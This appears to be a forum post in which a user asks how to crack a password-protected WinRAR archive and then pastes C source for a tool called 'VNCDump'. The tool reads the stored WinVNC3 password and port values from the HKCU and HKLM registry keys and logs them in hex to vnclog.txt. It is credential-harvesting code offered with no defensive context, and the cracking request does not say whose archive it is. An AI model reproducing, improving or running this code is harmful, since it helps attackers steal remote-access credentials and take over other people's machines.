how can i crack this? i think there is a password there, but i don't know yet how to crack it, in auggestions please?
it's encrypted winrar file.
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
void main(int argc,char *argv[])
{
HKEY key;
HKEY key2;
unsigned char buffer[8];
unsigned char buffer2[8];
unsigned char port[16];
unsigned char port2[32];
unsigned long PSize2 = sizeof(port2);
unsigned long PSize = sizeof(port);
unsigned long size = sizeof(buffer);
unsigned long size2 = sizeof(buffer2);
printf("\tVNCDump By KD-Team\n");
FILE *VFile;
VFile = fopen("vnclog.txt","a+");
if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\ORL\\WinVNC3",0,KEY_ALL_ACCESS,&key))
{
printf("Opening Key \"HKCU\" succeded\n");
printf("Handle: %i\n",key);
}
else
{
printf("Opening Key Failed\n");
RegCloseKey(key);
}
if(ERROR_SUCCESS == RegQueryValueEx(key,"Password",NULL,0,buffer,&size))//(LPBYTE)
{
printf("Quering Key succeded\n");
printf("HKCU Password\n");
fprintf(VFile,"%s","HKCU\n");
fprintf(VFile,"%s","Password: ");
for(int length = 0; length < sizeof(buffer); length++)
{
printf("%x", buffer[length]);
fprintf(VFile,"%x",buffer[length]);
}
fprintf(VFile,"%s","\n");
memset(&buffer,0,sizeof(buffer));
printf("\n");
if(ERROR_SUCCESS == RegQueryValueEx(key,"PortNumber",NULL,0,port,&PSize))//(LPBYTE)
{
printf("Quering Key succeded\n");
printf("HKCU PortNumber\n");
fprintf(VFile,"%s","HKCU\n");
fprintf(VFile,"%s","PortNumber: ");
for(int length = strlen(port); length >= 0 ; length--)
{
printf("%x", port[length]);
fprintf(VFile,"%x",port[length]);
}
fprintf(VFile,"%s","\n");
fclose(VFile);
RegCloseKey(key);
}
else
{
printf("Quering Key Failed\n");
RegCloseKey(key);
}
}
else
{
printf("Quering Key Failed\n");
RegCloseKey(key);
}
//**********************************************************************************************************
VFile = fopen("vnclog.txt","a+");
if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\ORL\\WinVNC3\\Default",0,KEY_ALL_ACCESS,&key2))
{
printf("\nOpening Key \"HKLM\" succeded\n");
printf("Handle: %i\n",key2);
}
else
{
printf("Opening Key Failed\n");
RegCloseKey(key2);
}
if(ERROR_SUCCESS == RegQueryValueEx(key2,"Password",NULL,0,buffer2,&size2))//(LPBYTE)
{
printf("Quering Key succeded\n");
printf("HKLM Password\n");
fprintf(VFile,"%s","HKLM\n");
fprintf(VFile,"%s","Password: ");
for(int length2 = 0; length2 < sizeof(buffer2); length2++)
{
printf("%x", buffer2[length2]);
fprintf(VFile,"%x",buffer2[length2]);
}
fprintf(VFile,"%s","\n");
memset(&buffer2,0,sizeof(buffer2));
printf("\n");
if(ERROR_SUCCESS == RegQueryValueEx(key2,"PortNumber",NULL,0,port2,&PSize2))//(LPBYTE)
{
printf("Quering Key succeded\n");
printf("HKLM PortNumber\n");
fprintf(VFile,"%s","HKLM\n");
fprintf(VFile,"%s","PortNumber: ");
for(int length2 = strlen(port2); length2 >= 0 ; length2--)
{
printf("%x", port2[length2]);
fprintf(VFile,"%x",port2[length2]);
}
fprintf(VFile,"%s","\n");
fclose(VFile);
RegCloseKey(key2);
}
else
{
printf("Quering Key Failed\n");
RegCloseKey(key2);
}
}
else
{
printf("Quering Key Failed\n");
RegCloseKey(key2);
}
}







Forum



Programming : not static?
Forensics : The Julie Amero Case: A Dangerous Farce



